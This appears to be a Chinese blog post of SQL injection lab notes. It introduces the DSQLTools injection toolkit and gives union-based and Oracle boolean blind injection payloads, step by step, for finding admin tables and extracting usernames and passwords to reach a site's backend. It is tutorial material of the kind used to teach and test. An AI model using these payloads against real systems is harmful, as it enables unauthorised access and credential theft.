sql注入实验

sql注入

  1. SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。
    注入方式有GET注入,POST注入,COOKIE注入,HTTP HEADER注入等方式,其中DSQLTools利用的是GET注入方式。简单来说它的目标是网址中含有id=xxx类似的动态页面。
  2. DSQLTools介绍
    自创的注入引擎,能检测更多存在注入的连接。使用多线程技术,检测速度飞快,对"MSSQL显错模式"、“MSSQL不显错模式”、“Access"等数 据库都有很好注入检测能力,内集"跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”、“CMD命令”、“木马上传”、“注册表读取”、“旁注 /上传”、“WebShell管理”、"Cookies修改"于一身的综合注入工具包。

Sql注入形成的主要原因是:

由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。

sql注入实验

union select:用于合并两个或多个select的结果集, 但要求列数,返回的数据类型要一致

  • 如何知道列数? order by num ; 其中num是任意数字.如3,5等,看页面是否正常显示,正常说明列数>=num
  • 如何测试数据类型?
    union select null,null,null //null可以表示任何数据类型
    union select ‘test’,nul,null //先输入一个字符串进行测试,若能出结果,说明是字符串类型,不能则不是

- 获取到users表的所有字段,在地址栏上输入:
name=’union select null,group_concat(column_name),null,null,null from information_schema.tables where table_schema = ‘users’ --+,知道用户名和密码字段为name,passwd
接着根据name,passwd字段从users表中查出用户名和密码:
name=’union select null,name,passwd,null,null from users

Oracle手工盲注

在这里插入图片描述

Oracle 布尔盲注:
在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数,
步骤:

  1. 使用and 1=1and 1= 2判断有无注入点.
    如果前者访问能返回正常的信息而后者不能,就基本可以判断此网站存在SQL注入漏洞.因为后者的1=2这个表达式永远不成立,所以即使传入了正确的参数也无法通过

  2. 判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。

  3. 判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大

    and (select count(*) from admin)=1,返回正常说明只有一个管理员。

  4. 已知表的前提下,判断表中字段结构

    and (select count(name) from admin)>=0返回正常,说明存在name字段
    and (select count(pass) from admin)>=0返回错误,说明不存在pass字段

  5. 接下来采用ASCII码折半法猜解管理员帐号和密码

    判断管理员帐号的长度

    and (select count(*) from admin where length(name)>=5)=1

    说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成

    .and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

    说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

    相同方法猜解密码

    and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文

  6. 猜出账号和密码后,就可以进入后台登录页面,输入账号密码进行登录了

猜你喜欢

转载自blog.csdn.net/weixin_43843847/article/details/90022443
今日推荐